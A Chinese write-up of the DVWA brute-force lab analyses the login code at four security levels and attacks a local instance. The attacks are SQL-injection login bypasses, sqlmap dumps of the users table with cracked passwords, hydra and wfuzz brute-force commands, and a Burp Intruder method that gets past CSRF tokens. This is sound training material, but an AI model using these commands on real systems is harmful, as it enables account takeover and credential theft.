DVWA靶场之一：暴力破解（Brute Force）

low难度

一、分析源码

php 复制代码

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

首先帐号和密码是通过GET方式传递给服务器的，其次可以看到存在SQL注入问题，输入没有经过过滤，但是回显仅仅显示$user，成功除了一张图片及其地址，你是看不到查询结果的，说明是盲注。

然后用test' --测一下，即

sql 复制代码

SELECT * FROM `users` WHERE user = 'test' --' AND password = '$pass'

没有报错，说明存在SQL注入问题

1.可以使用SQLMAP破解

bash 复制代码

sqlmap -u "http://127.0.0.1/vulnerabilities/brute/?username=admin&password=123&Login=Login" --cookie="PHPSESSID=<自己查cookies得到>; security=low" -p username --batch --dbs

可以得到数据库名字为 dvwa

然后查询表名

bash 复制代码

sqlmap -u "http://127.0.0.1/vulnerabilities/brute/?username=admin&password=123&Login=Login" --cookie="PHPSESSID=<自己查cookies得到>; security=low" -p username --batch -D dvwa --tables

得到表

bash 复制代码

[INFO] fetching tables for database: 'dvwa'
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

查询users这张表并dump

bash 复制代码

sqlmap -u "http://127.0.0.1/vulnerabilities/brute/?username=admin&password=123&Login=Login" --cookie="PHPSESSID=<自己查cookies得到>; security=low" -p username --batch -D dvwa -T users --dump

得到

bash 复制代码

+---------+---------+-----------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
| user_id | user    | avatar                      | password                                    | last_name | first_name | last_login          | failed_login |
+---------+---------+-----------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
| 1       | admin   | /hackable/users/admin.jpg   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin     | admin      | 2025-09-30 21:05:15 | 1            |
| 2       | gordonb | /hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     | 2025-09-26 22:55:17 | 0            |
| 3       | 1337    | /hackable/users/1337.jpg    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       | 2025-09-26 22:55:17 | 0            |
| 4       | pablo   | /hackable/users/pablo.jpg   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      | 2025-09-26 22:55:17 | 0            |
| 5       | smithy  | /hackable/users/smithy.jpg  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        | 2025-09-26 22:55:17 | 0            |
+---------+---------+-----------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+

其中MD5加密过的密码也被自动破解

2.手动使用SQL注入

假设admin用户存在，直接使用admin' -- 即

sql 复制代码

SELECT * FROM `users` WHERE user = 'admin' -- ' AND password = '$pass'

来绕过密码验证，或者不知道用户名的话，使用

' OR user = (SELECT user FROM users LIMIT 1) --

sql 复制代码

SELECT * FROM `users` WHERE user = '' OR user = (SELECT user FROM users LIMIT 1) -- ' AND password = '$pass'

通过子查询查询第一条

当然也能查第二条用户，通过图片链接可以知道用户名

sql 复制代码

SELECT * FROM `users` WHERE user = '' OR user = (SELECT user FROM users LIMIT 1 OFFSET 1) -- ' AND password = '$pass'

3.直接用字典暴力爆破

可以使用hydra或者burp之类的软件进行暴力爆破，需要现自备字典。

Hydra

bash 复制代码

hydra -l admin -P <密码字典> 127.0.0.1 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie: PHPSESSID=<你的cookie里找>; security=low:F=incorrect" -s 80 -V

参数详解

复制代码

-l admin: 指定用户名为 admin
-P <字典地址> 使用密码字典文件
127.0.0.1: 目标IP地址（本地主机）
http-get-form: 使用HTTP GET方法提交表单

http-get-form 参数解析

复制代码

/vulnerabilities/brute/: 目标URL路径
username=^USER^: 用户名参数，^USER^ 会被hydra替换
password=^PASS^: 密码参数，^PASS^ 会被字典中的密码替换
Login=Login: 登录按钮参数
H=Cookie: PHPSESSID=...: 设置HTTP Cookie头
F=incorrect: 失败标识，如果响应中包含"incorrect"就认为登录失败

其他参数

复制代码

-s 80: 指定端口80（HTTP默认端口）
-V: 详细模式，显示每次尝试的详细信息

wfuzz

bash 复制代码

wfuzz -c -z file,<用户名字典> -z file,<密码字典> -H "Cookie: PHPSESSID=<你的cookie里找>; security=low" "http://127.0.0.1/vulnerabilities/brute/?username=FUZZ&password=FUZ2Z&Login=Login"

medium 难度

分析源码

php 复制代码

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看出和LOW相比，多了输入过滤（安全改进）

php 复制代码

// 对用户名和密码进行了转义处理
$user = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user);
$pass = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass);

并且错误后多了延迟2秒

php 复制代码

sleep(2);  // 登录失败时延迟2秒

由于多了输入过滤，传统的SQL注入方法失效。可以使用LOW中使用的暴力破解方法。

hydra

bash 复制代码

hydra -l admin -P <密码字典> 127.0.0.1 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie: PHPSESSID=<你的cookie里找>; security=medium:F=Username and/or password incorrect." -s 80 -t 32 -w 5 -V

这里-t是并发线程数，用了32个并发线程，加快速度，减少2秒的延迟影响。

high难度

分析源码

php 复制代码

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

主要安全增强

1. CSRF令牌保护

php 复制代码

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

需要验证CSRF token防止跨站请求伪造攻击

2. 输入过滤增强

php 复制代码

$user = stripslashes( $user );
$user = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user);

先去除反斜杠，再转义特殊字符，双重过滤

3. 随机延迟

php 复制代码

sleep( rand( 0, 3 ) );

随机延迟0-3秒，增加时间攻击难度

4. 会话令牌生成

php 复制代码

generateSessionToken();

每次页面加载生成新的CSRF token

安全分析有效的防护：

复制代码

CSRF令牌：阻止自动化工具
输入过滤：阻止大部分SQL注入
随机延迟：增加暴力破解成本

这个级别的防护使得：

复制代码

传统SQL注入：基本不可行（由于转义处理）
暴力破解：困难（由于随机延迟和CSRF令牌）
自动化工具：需要处理动态token

这里使用Burp Suite进行暴力破解

先使用burp截获request

复制代码

GET /vulnerabilities/brute/?username=admin&password=123&Login=Login&user_token=81938af6bcee43e4a118b4a3121963c9 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://127.0.0.1/vulnerabilities/brute/?username=admin&password=123&Login=Login&user_token=21a822591650d1b5d5373a933b58c44f
Cookie: PHPSESSID=3f0d4b19e21ca62c823c1faee655e6f9; security=high
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

发现GET请求多了一个user_token，这个token每次刷新网页就会改变，由generateSessionToken()生成。

分析页面源码可以看到

html 复制代码

<input type="hidden" name="user_token" value="21a822591650d1b5d5373a933b58c44f">

就是user_token

然后对GET请求即右键，点击send intruder。

给需要破解的参数加上章节符号，即Add §，这里选择password和user_token

在最上面的攻击类型选择 Pitchfork（叉子模式）

用途：多个参数使用不同的载荷列表
工作方式：每个标记位置使用独立的载荷集合，按顺序一一对应

然后payload位置1选择字典，payload位置2选择Recursive grep（递归提取） ，Recursive grep 允许你从服务器的响应中提取值，并在后续请求中自动使用这个值。它会"递归地"处理每个请求-响应循环。

Grep-Extract选择递归选项，现refetch response得到响应，在里面选择token
重定向设置成always，不然无法跳到新页面，匹配添加incorrect条目，然后开始intruder
可以看到，密码为password的时候incorrect不存在，这就是密码。

impossible难度

分析源码

php 复制代码

<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>{$last_login}</em>.</p>";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // Login failed
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

主要安全特性

PDO预处理语句（完全防SQL注入）

php 复制代码

$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);

复制代码

使用参数化查询，从根本上杜绝SQL注入

账户锁定机制

php 复制代码

$total_failed_login = 3;    // 最大失败次数
$lockout_time       = 15;   // 锁定时间（分钟）

复制代码

3次失败后锁定账户15分钟

有效防止暴力破解

智能延迟

php 复制代码

sleep( rand( 2, 4 ) );  // 随机延迟2-4秒

复制代码

增加时间攻击难度

CSRF令牌保护

php 复制代码

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

复制代码

防止跨站请求伪造

输入过滤

php 复制代码

$user = stripslashes( $user );
$user = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user);

复制代码

双重输入过滤

攻击难度评估

这个级别的防护使得：

复制代码

SQL注入：不可能
暴力破解：极其困难（账户锁定）
自动化工具：基本无效（需要处理token+账户锁定）
时间攻击：效果有限